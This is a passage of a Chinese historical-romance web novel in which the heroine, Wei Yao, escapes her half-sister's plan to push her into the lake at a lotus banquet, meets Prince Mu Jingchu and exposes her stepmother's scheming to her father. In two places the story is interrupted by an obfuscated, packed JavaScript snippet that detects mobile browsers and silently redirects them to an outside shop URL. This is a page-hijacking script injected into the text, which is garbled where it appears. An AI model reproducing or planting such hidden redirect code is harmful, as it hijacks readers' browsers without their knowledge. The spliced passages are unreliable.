赴宴的人群之外，又添了不少搬挪起居用物的车马，大清早便将通往万壑湖的那道城门堵得水泄不通。 贺氏原本备了两辆马车，她与贴身嬷嬷同乘，魏窈跟魏淑云则在后面那辆。 魏淑云那性子，哪熬得住？ 她原本就对这从天而降的姐姐心存不满，加之今日心里藏了事情，见马车堵着不往前挪，索性跑去贺氏身边坐着了。 魏窈乐得清净，便叫青穂坐进来，小声叮嘱了几句。 ——她住进浮香院后，贺氏安排了好些小丫鬟和嬷嬷伺候，明着是厚待于她，实则安插眼线约束举止，俨然是给了几个祖宗。这些人里，旁的都是贺氏的人手，唯有绿禾和青穂两个小丫头是拨来凑数的。 前世她吃了好些暗亏才将身边料理干净，只将这俩留为心腹，绿禾留着照看孩子，青穂则在那场大火中陪她到了最后。 如今从头再来，魏窈出门时便不劳动那些大丫鬟，只将看似木讷的青穂带在身边。 这阵子日夜相处下来，因熟谙这丫头的性情，青穂已很听她的话了。 今日这事，魏窈也只敢交给她办。 主仆俩在车中窃窃私语，马车在堵了半天后也终于顺利出城，与一众华盖香车齐齐赶往万壑湖，在近午时分终于稳稳停驻。 掀开车帘，远处是起伏叠嶂的青翠峰峦，近处则是摇漾的湖波，在沿水娑婆柳枝的掩映下，打磨得平整干净的石板路通向一处富丽的别苑。 湖风拂面而来，贵妇们谈笑着前行，一派和乐光景。 衣衫鲜丽的仆婢们笑脸相迎，亦不乏宫里的太监女官出没，将身份尊贵些的王妃国公夫人等迎入其中。 在高门贵户名目繁多、此起彼伏的赏花宴里，今日这场应是最为盛大的。 因这是皇后的母家所操办。 五年之前，正逢夏皇后六十之寿，因她幼时长在万壑湖畔的别苑，这时节碧波万顷的满湖荷花又绝胜京城，昭明帝便特地在湖畔为她设宴，算是给中宫皇后的寿礼。 那之后，夏家的荷花宴就成了定例。 夏皇后每年都能在生辰时来湖畔赏玩连绵不绝的映日荷花，夏家亦精心设宴，遍邀亲贵。加之周遭地势开阔，既有马球捶丸等可供嬉戏，又有百余艘小船可供穿梭赏荷，深得男女宾客的喜欢。 魏窈前世几乎每年都会来此赴宴，次数多了，对这里的规矩渐而了若指掌。 而她跟穆景初有限的交集，也多是在这种遍邀亲贵的场合里，加上彼时他暗中打量的视线暗藏炙热，更是魏窈加深了魏窈对这地方的印象。 她随着贺氏在衣香鬓影中徐徐前行，进门后拐过熟悉的芭蕉亭，视线越过铺满地锦的低矮墙垣，终于在临水的高台上捕捉到了熟悉的身影。 穆景初他今日真的来了！ 还是跟记忆里一样，这男人喜欢避开吵嚷的人群，独自在高台上观玩湖光山色。 心头无端有点儿激动，她侧头瞥向青穂，微不可察地点了点头。 青穂会意，拿唇形回道：“放心！” 10. 010 时近晌午，又是六月天气，即便山脚下湖风凉爽，暴晒的日头底下也够人受的。 女眷们有些在树荫底下赏玩湖光山色，多半倒聚在依湖而建的宽敞游廊下，就着茶水果点，或坐或立地闲聊着等稍后开宴。偶有相熟的亲戚男女过来，各自寒暄几句，瞧着倒是一团热闹。 魏窈跟着贺氏，在挨着流苏树的廊下纳凉。 不远处，崔氏带着贺云章从游廊外走过来，挑了个近处的台阶拐进廊下，径直往这边走过来。 贺氏瞧见后当即展颜道：“云章也来啦！” “姑姑安好。”贺云章拱手施礼，又向两位表妹问好，那视线却在迅速扫过魏淑云后稳稳落在了魏窈的身上。 世间缘分是那样奇妙，他在京城中优渥长大，去过不少歌坊舞舍，也算是见过世面的。可那日魏府匆匆一会，他的心神却像是被攫走了似的，脑海里翻来覆去，皆是初见时惊鸿一瞥的模样。 贺云章甚至可以想象，若这位新表妹身着华衣，饰以珠翠金玉，凭她的姿貌气度，会是何等端丽惊艳！ 既有表亲之便，又当适嫁之龄，贪恋心思暗中滋生时，他借着种种由头送礼求见，却总未能如愿。 今日重逢，他甚至难掩心头悸动。 旁边崔氏瞧他那副神魂颠倒的模样，暗自皱眉。 不过儿子到了年纪，总要娶妻成家的。 贺家全靠公爹贺崇的权位撑着，这种事自然也是他说了算。瞧贺崇那意思，分明是疼惜幼女，又爱屋及乌，想把魏淑云娶回来。 若真如此，崔氏这婆母还怎么当？ 魏淑云性子骄纵任性不说，因着外祖父母的溺爱，一旦娶进门里，她这做婆婆的怕是都得退让几分。相较之下，魏窈毫无根基，哪怕贺云章色令智昏，却总不至于为妻室忤逆长辈，待日子久了情意淡去，就更好拿捏了。 她乐得帮贺氏促成此事，这会儿便只跟贺氏闲扯些有的没的，说自家老夫人今日也来了，正在皇后跟前说话云云。 贺云章既是跟着母亲来拜见姑姑的，自不会急着离开，没话找话地道：“表妹是头回来万壑湖吧？这里的荷花名满京城，待会儿宴席散了，可得好生瞧瞧。” “确实是好景致，倒让我有些羡慕淑云了。”魏窈随口将话题扯向魏淑云。 那位原就自诩京城贵女，非乡野女子可比，闻言愈发得意起来，“那是自然！那年初次办荷花宴的时候我就来过……” 话一开口就滔滔不绝，看似跟表哥闲聊，实则在给魏窈显摆。 一方天地里，魑魅魍魉俱全，真个是各怀鬼胎。 魏窈早就看厌了崔氏那张笑里藏刀的脸，这会儿更懒得费神敷衍，趁魏淑云说得高兴，只管转身退开几步，带着青穂出恭去了。 贺云章即使想拦，众目睽睽之下也不能太造次，只好恋恋不舍地目送。 游廊外花枝随风摇曳，摇得碎影斑驳。 魏窈并非真想出恭，徐徐沿湖而行，留着周遭动静时，渐渐发现了不对劲—— 按理说，魏家寻回女儿的消息在西苑时就已散播开，隔了这么久，本该早就无人在意才对。可今日她一路走来，分明觉得背后有许多眼睛暗中打量着，甚至有人瞅着她交头接耳，在她靠近时却又装得若无其事。 魏巍皇城中权贵如云，魏芝翰虽有贺崇提携，却也不是什么了不得的人物，这些人如此指指点点，却是为何？ 她心里拿不准，便吩咐青穂去试着打听。 青穂瞧着木讷老实，其实是因她是被买进府里做粗活，被贺氏赏识的仆妇丫鬟们欺负惯了，平素只能装笨卖乖，实则还算机灵的。 趁着魏窈慢吞吞往返的间隙，她钻进人群里听了好半天，终于理出了些眉目。 “那些人确实在议论姑娘，却不是因为主君，而是……”青穂想起那些闲言碎语，心里有些愤慨，迟疑着不敢说那些难听的话。 魏窈便笑，“照实说罢，难道我不知情，她们就不议论了？” 那自是不能把姑娘蒙在鼓里！ 青穂便抬起头小声道：“她们议论的，是姑娘和肃郡王殿下。” 她跟穆景初？ 这话实在出乎魏窈所料，忙追问缘故。 青穂便道：“那起子长舌头的，不知是从哪里听的谣传，说姑娘性子鲁莽任性，不知天高地厚，还没进京城就招惹了肃郡王殿下。还说肃郡王身份尊贵、心高气傲，等闲不跟女人计较，能把他逼到当众算账，必是姑娘行事太过荒唐。” 还有更难听的，她没敢说出来。 譬如有人说魏窈生了副还不错的皮相，在乡下自命不凡惯了，所以想凭色相勾搭肃郡王，结果碰到了一鼻子灰。 也有人说魏窈外头漂亮，内里草包，那是自家妹妹亲口说的，决计错不了。 这些话青穂即使不说，魏窈也猜得到。 她瞥了眼远处扎堆闲聊的贵女们，不由有些好笑。 江陵城的事无人知晓，那么这些传闻定是滋生于西苑那日—— 彼时她满腹心思都是如何打消穆景初的疑虑，倒没想到外头那些看客会这般解读。且当日人群里依稀有魏淑云的身影，她会如何添油加醋、出言针砭，脚趾头都猜得到。 魏家寻回女儿的事不新鲜，但肃郡王是何等人物？ 出身尊贵不说，沙场朝堂上历练出的身姿气度更是令无数闺中女儿倾心。他又孑然未娶，以至生出身有隐疾不近女色的传闻，如今忽然主动找上个闺中女子，可不就成新鲜事了么？ 想来这大半个月里，魏窈这名字都快被盘出浆了。 当真是令人哭笑不得。 青穂原以为姑娘蒙受污名会委屈，见她神色变幻要笑不笑的，还以为是被气到了，忙劝她别将那些鸡鸣狗叫放在心上。 魏窈拍拍她肩膀，眼底反而溢出点笑来。 外头的传闻无关紧要，但既然穆景初误打误撞地闹出流言，有损她的名声，回头若见了面，是不是能试着稍微敲诈一下？ 魏窈有点腹黑地想。 …… 掐着点儿走近廊下的时候，女眷们已陆续起身往宴上走了。 贺云章满怀期待地过来相见却扑了个空，难免失落，不好再赖下去，只能怏怏告退。 贺氏便低声宽慰，“别气馁，待会赏荷花时多加留意，只要你诚心，总能如愿的。” 这般吩咐完，瞧魏窈不紧不慢地走过来，贺氏又有点烦躁，在她靠近时抱怨道：“这是什么场合，许你这般闲逛！待会若迟了，那可是在皇后娘娘跟前失礼，还不快走！” 说着，携女儿匆匆入席。 宴席倒是乏善可陈。 待歌舞毕，最后一道糕点上完，夏皇后便由宫人们搀扶着，由几位常往来的命妇们相陪，登上备好的大船，往湖面深处去赏荷花。 余下男客女眷们则就近赏玩。 这万壑湖水面极广，南北绵延有近十里地，因湖对岸紧邻山脚，倒映出千峰万壑之姿，故而得名。 皇后凤驾去的是湖深处荷花最盛之处，贵女们则在近处乘舟游赏就行——这时节正当花期，沿湖绵延不绝全是接天的莲叶菡萏，便是有几百只小舟驶进去也容得下。 魏窈饭后小歇片刻，果然见贺氏带着魏淑云走了过来，道：“你难得有机会来这里，又人生地不熟的，就跟着淑云去瞧瞧，既能开开眼界，也好体沐浩荡皇恩。” “多谢夫人。”魏窈施礼告辞。 姐妹俩选了条小船上去，魏淑云莫说带旁人，就连两人的贴身丫鬟都被留在岸边，只让船娘往荷叶深处划去。 魏窈只当瞧不出魏淑云那点小心思，就着盛夏天光，细嗅荷叶清芬。 水巷纵横，不时有小舟彼此相遇，在摇动的水波里嬉笑着错过。渐渐的，小舟在魏淑云的指使下越划越远，迂回曲折地穿过层层莲叶后忽而眼前一亮， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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水底船下，魏窈却已松开魏淑云的手臂，朝另一个方向迅速游去。 若不然，但凡动作慢些，怕是又要像前世似的，明明她自己已经浮起来够到船边了，愣是被惊慌来救的贺云章沾上身子，从此再难甩脱。 水底嫩草摇曳，水音儿里夹着嘈杂人声。 魏窈懒得管魏淑云如何收场，只朝早就选定的方向一路潜游，在耗了半身力气后，终于看到记忆中的那棵老树。 此处离女眷游玩处很远，寂无人声。 她湿漉漉地爬上岸，见树底下的箩筐中果然放着个半旧的斗篷，赶紧披在肩上遮住身体，往近处的一座院落走去。 那院落是供不爱热闹的贵客休憩用的。 前世她避过人群泛舟至此，登岸欣赏近处花圃时，曾两度遇见过避开人群偷闲的穆景初。 而今日…… 她不清楚穆景初会不会来屋中，只能揣着碰运气的心思推开院门。见里头没什么人，便自进了主屋，反手掩上屋门。 且等等吧，若穆景初稍后会来，那一切皆能如她所愿。 若他今日不来，就只能唤仆妇帮她取来衣裙，回头再想旁的法子了。 她捋了捋湿漉漉的头发，将那半旧的斗篷随手搭在桌边，想拧一拧被水浸透的湿哒哒的衣裙，才刚弓腰，忽听背后传来一声轻咳。 魏窈被惊得一颤，回头细瞧了瞧，这才发现垂落的帘帐里有个人影。 此刻，他正挑起帘帐，半坐起身来。 没有四目相对。 她意外地看向忽然出现的穆景初，而穆景初的视线却正落在她被湿衣裙包裹着的身上。 水滴滴答答地落下，夏日薄裙被打湿之后贴在她的胸脯腰腿，里头的风光若隐若现。 穆景初午睡才起，陡然瞧见这活色生香的场景，呼吸不由一紧。 11. 011 满屋荫凉，安静得针落可闻。 心跳无端加剧，穆景初长这么大，还是头回如此被一个女子扰动心志。 他不动声色地挪开视线，深吸了口气压住心底的稍许躁动，随手从榻上扯了个软毯丢给她，这才慢吞吞站起身来。 春花秋月固然悦目，但对这种闹哄哄的赏花宴，穆景初其实无甚兴致。 不过今日这荷花宴与众不同，因暗合了夏皇后的生辰，皇室宗亲少不得要来凑个热闹。 他的父亲惠王在先太子亡故那年不慎伤了腿脚，从此落下毛病，出门在外时常须轮椅代步。他的长兄担着世子身份，帮父亲料理诸事，时常被派去京城外办差，在京的日子并不多。 倒是他，自打去年惹得昭明帝不悦后，便寻了个清闲衙门赋闲在府里，这种场合不好不来。 今日穆景初在夏皇后跟前露过面，草草尝过宴席菜色后，便自离席，在闲人甚少踏足的地方散散心，瞧了会湖光山色和接天莲叶，便来到这座庭院，屏退侍从后自在安睡。 等傍晚时分夏皇后起驾回宫，他这做孙儿的亲送一段，便算功德圆满了。 谁知睡醒后正百无聊赖地躺着，忽地闯进个魏窈来？ 明明是狼狈的落汤鸡，因着她身段窈窕，却反添了玲珑有致的风情。加上湿漉漉的发丝贴在漂亮的脸蛋，那双水雾未散的眼睛带着惊慌瞧过来，着实是…… 穆景初有点口舌干燥，自管下地斟了茶喝。 魏窈趁着这间隙，忙将他丢来的软毯裹在身上，又匆匆擦了擦垂落的湿发。 虽然早有预谋，但真的到了这般境地，觉出穆景初身上有些异样的气息，她到底有些紧张，只能拿说话来缓解。 “民女不知道殿下在这里歇息，闯进来是无心之失，还望殿下恕罪。” 她裹着毯子不便行礼，只眼巴巴看向他。 穆景初瞥她一眼，挑眉道：“是么？” “实在是方才事发突然。”她不好将闺阁里的拉扯摆到他面前，只道：“民女游湖时不慎落水，因周遭全都是赴宴的宾客，想着这幅仪态必定不能见人的，只好游远一些，寻个没人的地方上了岸，免得传出去不好听。” “这院子外头没人，民女还以为是空着的，就想进来避一避，回头再请人通知婢女拿些衣裳来。” “没想到惊扰了殿下，实在抱歉。” 她歉然说着，察觉脸上有水珠滚落下来，又抬手擦了擦。 这模样，当真是又可怜又好笑。 穆景初压住嘴角的笑，声音是一贯的清冷，“那你我倒是有缘，这都能碰见。” 他说这话，倒是真心实意的。 从福缘客栈里初次见面，那抹非花非露的独特香味便像是勾着他似的，忍不住想靠近探究。其后星夜同乘，在村口假称夫妻，她乖顺靠在他怀里的模样，更是如羽毛落在心间。 穆景初原以为，他如此惦记那女子，是因心中存有疑惑之故。 谁知那回西苑里问清楚了，却还是没能压下那份心思。 梦醒时，临睡前，甚至无意间瞧见街上相携而过的夫妻时，彼时软玉温香在怀的触感，乃至将她小手捏在掌中把玩的滋味，便会悄然浮起，哪怕只是转瞬即逝，却清晰分明。 背后是何缘故，穆景初自己也说不清楚。 而这般心念牵系，他虽不至于错认为一见生情，却也没法把魏窈当作擦肩而过再无瓜葛的陌路人来看待。 今日重逢，便不免调侃一句。 魏窈却是心里有鬼的，又怕解释多了显得欲盖弥彰，只能垂首笑了笑道：“大约是吧。” 心虚使然，她有点害怕说完之后的安静，不免又道：“这地方僻静，也不知有没有合适的衣裳能换。能否烦劳殿下，差人去递个信儿给我的婢女，让她带件衣裳过来？我如今这样子，实在不便见人。” “你还想回宴席上去？”穆景初不答反问。 魏窈一怔，就见穆景初指了指她湿哒哒的发髻。 她无奈失笑，“也对，衣裳能换，头发一时半会儿没法擦干。” “我让人送你回府。”穆景初私心里也不太想让旁人瞧见魏窈这模样，见她感激颔首，便示意她躲到帘帐后面，又扬声道：“玄铮！” 片刻后门扇推开，不知从哪冒出来的卫玄铮垂着脑袋进来，拱手道：“殿下有吩咐？” “有人靠近，怎么不提醒。”穆景初先给他丢了个罪责。 卫玄铮心里大呼冤枉—— 若换成旁的女子，他必定会拦在门外。可这魏窈，先是在江陵城跟殿下共骑，后来还被殿下在众目睽睽之下单独叫去问话，都是从前绝不会有的事情。先前他要带魏窈骑马都被拦住了，若今日胆敢上前把湿透的魏窈拦在门外，谁知上头这位会不会挖了他眼睛。 至于提醒，隔着一扇屋门，他难道得喊一声“有人来了”？ 那还不吓着魏窈！ 卫玄铮只觉这差事实在难办，闷头受了这份责备，在穆景初说要送魏窈回府时，赶紧去安排车马和人手。 …… 马车很快就到了院门前。 与卫玄铮一道来的还有满脸担忧的青穂，抱着个从主家寻来的包袱。 魏窈瞧她那入戏的模样，有点想笑，接过包袱后便去内室将湿漉漉的衣裳尽数换掉。 而后，青穂抱着湿衣服先出门去安顿，她则朝穆景初盈盈施礼。 “今日之事幸得殿下相助，但……还望殿下勿让太多人知晓。” 她抬起头，隔着两步的距离，终于在穆景初眼底捕捉到与前世有些相似的眼神，便莞尔笑了笑，有些羞赧地垂了眸。 穆景初喉结微动，“为何？” “我这幅模样，若是让寻常男子瞧见了……” 魏窈顿了顿，情知自己是在惺惺作态地耍赖，为前途计，也只能硬着头皮道：“寻常男子瞧过这样子，怕是得娶了我才说得过去。当然，殿下金尊玉贵，民女不敢冒犯，只是京城人多口杂，若让旁人知晓，万一有所曲解累及殿下声名，那可就是民女的罪过了。” “毕竟，前次西苑一会，已经有传言纷纷，说民女是想攀附殿下，惹得不少人暗中嘲笑。” 她解释完，再次施礼辞别，转身便往屋门走。 虽然今日之事蓄谋已久，但她确实没想过真能让穆景初生出娶她为妻的心思。 纵使前世的他似暗藏心意，但两人身份悬殊 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饭后本就容易犯困，何况今日车马来回颠簸，又费力游那么远，疲惫之下睡得很是踏实。 昏昏沉沉中做起了断续的梦，前尘旧事泛起涟漪，夹杂着如今与穆景初的交集，有些光怪陆离。 不知睡了多久，忽觉有人轻轻推她。 魏窈从朦胧睡意中醒来，强撑着抬起惺忪的眼睛，就听青穂道：“姑娘可算是醒了，奴婢还以为是受了寒生病，差点让人去请郎中。”说着话，将魏窈扶坐起来，“主君着人来传话，请姑娘去清宴堂呢。” “二妹妹也回来了？” “回来了，听绿禾说，瞧着有些垂头丧气。” 青穂低声说完，又想起什么，补充道：“主君得知姑娘早早回府，先前来瞧过一眼，见姑娘睡着，就先走了。” 魏窈心里有了数，便起身披上外裳，将睡得微乱的发髻重新梳好，故意将双唇遮成气色不佳病恹恹的模样，才动身出门。 夜风微凉，瞧着竟已是亥时了。 她在临近清宴堂时故意让脚步虚浮些，瞧见里头通明的灯火，约莫能猜到魏芝翰此刻是何心情。 果然，进了院门后绕进偏厅，就见魏芝翰沉着脸坐在上首，贺氏的脸色也不甚好看，魏淑云的脸上甚至有些泪痕。 她捂着胸口闷咳了两声，向上首见礼。 魏芝翰示意她坐下，道：“听丫鬟说你睡前赶着要喝姜汤，可是受寒了？” “刚回来的时候是有些不适，这会儿已好多了，多谢父亲关怀。”魏窈可不敢堂皇入座，只站在原地勉强扯出点笑意。 她原就没太睡醒，这会儿勉强挤笑，愈发显得气色虚弱、勉力强撑。 魏芝翰不由皱眉看向贺氏，“怎么就闹成了这样！好好的一场赏荷宴，如今倒闹出笑话来！” 语气分明责备，听得贺氏愈发不快。 想起魏淑云掉进水里后兵荒马乱的情形、周遭女眷私下里的诸般议论，再看看金蝉脱壳安然无恙的魏窈，贺氏恨得牙都快咬碎了。 12. 012 魏芝翰这般责问，其实是有缘故的。 今日姐妹俩齐刷刷掉进水里，魏窈悄悄游走后，着实将魏淑云吓得够呛。好在她时常乘船游玩，贺氏也教过她如何凫水，倒不至于淹着。 见贺云章自水底游过来，她生恐坏了自身名誉，忙一脚将他踹开，挣扎着让船娘拉她上去。 底下贺云章情知自家表妹会水，被踹后便没敢靠近，只是记挂着魏窈，忙四处寻找。 船舱里，魏淑云原就浑身湿透满心懊恼，等了半天都没见贺云章将魏窈捞出来，急得险些哭出来——并非怕魏窈淹死，而是猜到了魏窈已经游远，她今日非但盘算落空，这般落汤鸡似的模样更是要叫人笑话死！ 不远处已有船只赶着划过来，大约是想来帮来，魏淑云却哪有脸见人？ 忙命船娘划进荷花荡中先藏起来，再想办法将这身湿透的衣裳换下。 周遭小舟见状，哪有不议论的？ 先前魏淑云隔空向表姐喊话，原就引得旁人留意，其后魏淑云偷袭不成，追上去猛推魏窈，焦急之下并未太掩饰的动作更是被一些人看在眼里。 当时便有人惊愕，以为是那边姐妹俩起了争执，才惹得魏淑云推姐姐下水。 而今见她独自划船躲开，更是议论纷纷。 岸边的水榭里，贺氏明面上跟崔氏她们喝着茶闲坐观景，实则派了心腹小丫鬟抹春去水边哨探，吩咐了一有动静就赶紧送来。她暗自焦灼地等了许久，才见抹春匆匆走近，便迫不及待地起身往外走。 两处相遇，贺氏险些压不住期待，低声催促道：“快说，事儿成了么！” “夫人，出事了！”抹春一路上低着头，这会儿看向自家主母，脸色竟有些泛白。 贺氏心里“哐当”一声，赶紧询问缘故，同她去找魏淑云。 到那边一打听，得知船娘已经寻了衣裳给魏淑云披上，送到近处的空屋子歇息，忙追了过去。才刚进门，就见魏淑云湿淋淋地坐在椅子上，头发虽擦得半干，脸上却全是泪痕。 瞧见贺氏，她再也忍不住，扑进母亲怀里便呜呜咽咽的哭起来。 等贺氏安抚好女儿，请夏家人帮着寻了换洗衣裳，将事情经过从哽咽不止的魏淑云嘴里问明白时，外面早将这事儿传得沸沸扬扬了。 偷鸡不成蚀把米，贺氏肚子里火气直冒。 偏巧宴席上人多眼杂，她既担着主母之名带两个女儿赴宴，而今魏窈落水后不见踪影，还得假装焦急地请主家帮忙找人。 乱哄哄闹了许久，夏夫人才传来信儿，说魏窈已从僻静处上岸，着相熟的人递来消息，待会换好衣裳自会有人送她回府，让贺氏不必担心。 今日这场落水的风波，虽是姐妹间闹龃龉，夏夫人为怕落个“待客不周”的名声，其实也赶着询问了底细。 得知当时贺云章的小舟就在附近，姐妹俩又下落迥异，她是时常出入宫闱的人，哪能瞧不出端倪来？ 再一瞧贺氏假惺惺的模样，愈发反感她借盛宴横生波澜的私心。 便笑吟吟刺道：“倒是难为那孩子，怕旁人瞧见，愣是游到老远才寻个没人的地方上去，为着保全名声，也真是不容易。” 贺氏被挑破心事，脸上火辣辣的。 只能胡乱敷衍了几句，带着魏淑云匆匆辞别回府，路上还跟魏淑云串好了说辞，万一魏芝翰问起来也好糊弄。 …… 此刻灯烛明照，贺氏瞧夫君面有恼色，只能压着暗恨，放软了语调道：“今日的事，倒是怪我照看不周。不过今儿湖上人多，舟来船往的，不管是船娘疏忽，还是她俩不当心，偶尔有点意外也难免。明儿我请个郎中瞧瞧，别叫落下病根，这才是正经事。” “如此说来，是你们失足落水？”魏芝翰眸色稍沉。 魏淑云赶忙点头，眼泪汪汪地道：“我玩得正高兴呢，谁知道船会忽然晃，害得女儿呛了好几口湖水！” 她挂着泪珠儿卖惨，贺氏却只盯着魏窈。 魏窈眼底的讽笑稍纵即逝，情知无凭无据地说不过母女俩，对上魏芝翰询问的目光，便没有张口。 沉默，无异于否认。 魏芝翰瞧着幼女可怜巴巴的样子，心头径直窜起一股无名火，“我怎么听说，是你推你姐姐落水的！” 这话一出，贺氏险些色变。 魏芝翰差点儿气笑，“打量我不知道呢？是许约亲口跟我说的！要不是他提起，我竟不知咱们家今日竟闹出那样的笑话！” “许……许约？”贺氏一时结巴。 魏芝翰与她成婚多年，焉能不清楚妻女的脾性？瞧她俩的反应，便知许约所言不假。 ——今日盛会，非但有如云的女眷，男客亦是不少。 许约是颇得青睐的新科状元，今日正好随友人去见识京城最负盛名的赏花会，也隐约听闻了女眷那边有人落水的事。原本这事与他无关，但从经过的贵女口中听得个“魏”字，不免留了心。 稍稍一打听，得知正是他要成亲的魏家，不免细问缘故。 也怪先前魏淑云满口抹黑造谣，今日宴会女孩子们本就在议论魏窈草包鲁莽，姐妹俩争执落水的事情传开后，众人便都觉得，必定是那魏窈性子粗莽，丝毫没有长姐风范，才惹怒被骄纵着养大的魏淑云，愤怒推她入水。 许约听着“乡野女子”“草莽任性”等断续议论，不免有点悬心。 先前借着拜访魏芝翰的由头，他其实隔着花墙相看过魏窈，确实是难得的美人，也颇有贞静贤淑之态，很是合他心意。加之贺崇膝下单薄，能提携的人有限，一旦结亲必能得他助力，比投靠别家更能仕途通达，便答允下来，由随同入京的母亲筹备起纳采的事。 如今听了这传闻，到底不放心，便赶着回到城内，在魏芝翰的衙署门口“偶遇”，想从他那里讨个放心。 魏芝翰被问得差点闹个红脸，直说自家女儿虽养在乡下，却绝非鲁莽任性之人，若许约心存顾虑，可从长计议云云，才将对方安抚住。 此刻眼瞧着贺氏娘俩是要糊弄他，魏芝翰气得脸都绿了。 当下将魏淑云痛斥一顿，罚她今晚去祖宗牌位前跪着，明儿再抄五十遍家规，往后决不许再犯。 魏淑云听了，哭得愈发狠了。 贺氏忙拿她今日落水后身子不适说事儿，想为女儿求情。 魏芝翰对妻子再有耐性，此刻也有些憋不住了，只沉着脸道：“都是从前纵容，才养出这不知好歹的性子。你做母亲的，难道就不知道规劝阻拦？竟还要跟着胡闹！”语气颇重，不无暗示告诫。 贺氏到底不想让魏窈看笑话，只能作罢。 又以夜色太深为由，让魏芝翰早点回去歇着，剩下的事明儿再说，再让仆妇送魏窈回屋。 魏窈也不多留，瞧着她爹头疼懊恼的样子，甚至有点想笑。 今日之事尚且如此，明儿若得知江陵城里贺氏纵奴行凶，或许还私自扣下信件，不知她这爹会作何反应？ 她倒有些好奇了。 …… 一夜兵荒马乱，因魏芝翰难得作色罚跪，魏淑云哭泣无用，只能去祖宗牌位前跪了整夜。 贺氏瞧着，哪有不心疼的？ 但事情到了这地步，魏芝翰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128854|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既已瞧破母女俩的居心，且魏淑云栽了这么个大跟头，贺氏索性没了顾忌。 翌日清晨起来，便先窥看丈夫的脸色。 不管成婚的时候是何情形，十几年相处下来，加之贺崇确实对魏芝翰极为照拂，不论仕途提携还是银钱资财，乃至人前人后，就差拿他当亲儿子待了。魏芝翰深受其恩惠，又怎会无动于衷？ 昨晚的气怒在睡了一觉后已然消弭，在贺氏暗含嗔怨地帮他穿衣时，魏芝翰便温声道：“昨晚不是我有意让你没脸，实在是这事闹得太过荒唐。外头传言纷纷，对她姐妹俩都没好处。” “我又能怎么办？”贺氏也尽力让语气温和，“我膝下就只有淑云，事关终身，岂能不为她打算？许约跟云章孰优孰劣，是明摆着的。” “这是岳父他老人家的意思，怕淑云在许家受委屈。” “当儿媳的，在哪不会受委屈？只消前途明朗，一时半刻又算得什么。何况……”贺氏动作微顿，瞅着旁边没丫鬟，低声道：“她自打出生就受委屈，连正经生辰都瞒着。都十几年了，如今是婚嫁大事，岂能退而求其次？” 魏芝翰闻言叹了口气，“我也知道你的苦心，但这事终归是岳父做主的。” 说来说去，总还是含糊敷衍。 贺氏瞧出他的态度，气得将他腰带掷在榻上，转身梳洗去了。 魏芝翰一笑，自管穿戴整齐。 因今日休沐，一家人用过早饭之后便将魏窈单独叫去了书房。 虽说婚事是父母之命媒妁之言，且许约是打着灯笼难寻的状元郎，但终究关乎魏窈的终身大事，两家既已商量差不多了，终须知会一声。 他随手摆弄桌上笔墨，稍稍关怀了下昨夜是否受寒等事，便将话锋一转—— “我赶着四处打听，接你进京城来，原是怕你在乡下耽误了终身。说来也是你的机缘，刚回京城就碰上了难得的良缘。新科状元郎许约，你可听说过？” 魏窈垂眸，“昨晚头次听到这个名字。” 提起昨晚的事，魏芝翰喉头一梗，却仍道：“许家有意娶你进门，我也觉得这是门顶好的亲事。” “状元郎多难得呀，三年才出一位，女儿何德何能。”魏窈抬眸，神情出奇的平静，“妹妹也到该说亲的年纪了，怎么不选她呢？” “你是长姐，性情也更合适。”魏芝翰道。 魏窈闻言垂眸笑了笑。 “合适”两个字的背后有多少权衡掂量，她算不清楚。但她其实很想问一句，单论私心，他这做父亲的更想把婚事给谁。 但这个问题抛出来也无甚意义。 魏窈抬眸瞧着魏芝翰那幅似乎给了她天大恩赐的模样，正色施礼道：“这门婚事，女儿恐怕未必合适。” 魏芝翰研磨的手顿住，眼底分明诧异，“怎么说？” “昨日女儿落水后，怕被旁人瞧见有失仪态，特地游到远处才上岸。原想着找地方换身衣裳，谁知竟撞见了午憩的肃郡王殿下。”她特地咬重午憩二字，垂眸道：“肃郡王看女儿落魄，念着旧日交情，给了件衣裳遮身，又知会青穂过来帮我换衣裙，再命人送女儿回府。” 窗畔暖阳下，魏芝翰听得满脸震惊。 金尊玉贵的肃郡王，午睡时被自家女儿撞见，瞧见她浑身湿漉漉的模样，还帮她遮身，命人送她回来？ 连着蹦出来的场景甚至令他有点天旋地转，但他很快又捕捉到了另一句话—— “你跟肃郡王怎么有过交情？” 魏窈闻言抬头，眼底适时浮起讶然，“先前女儿修书给您，提过此事，父亲不知道吗？” 13. 013 魏芝翰被魏窈问得一愣。 他没瞧见过书信，此刻被问后不便多说，只佯作磨墨，道：“许是太忙，搁在哪里没瞧见，是什么事？” 魏窈便将江陵城里的事简略说了说。 从她醒后察觉不对劲，到恰巧碰见肃郡王，及时救出顾顺娘，再到回城后逼得赵嬷嬷去衙门自首，乃至进京后沈歌的仗义撑腰。 桩桩件件，在此时终于串成了一条线。 当日沈歌忽然登门时，魏芝翰就觉得奇怪——即便沈歌与女儿和顾顺娘有旧交，进京后有的是机会拜访，何必特地挑在父女重逢之时？ 至于赵嬷嬷，他原先不甚留心仆婢，只隐约听说她是摔伤了去庄子将养。 如今再看，这些古怪背后竟另有缘故！ 魏芝翰知道贺氏并非温良之人，仗着贺崇的疼爱，常有行事出格之时，连他也曾屡屡吃亏。但即使如此，得知她在路上指使仆婢图谋人命，还将事情瞒得密不透风时，心底也腾起一股怒火。 他看向魏窈，对着那双坦荡清澈，却似在平静中藏有失望的眼睛，一时间又有些惭愧。 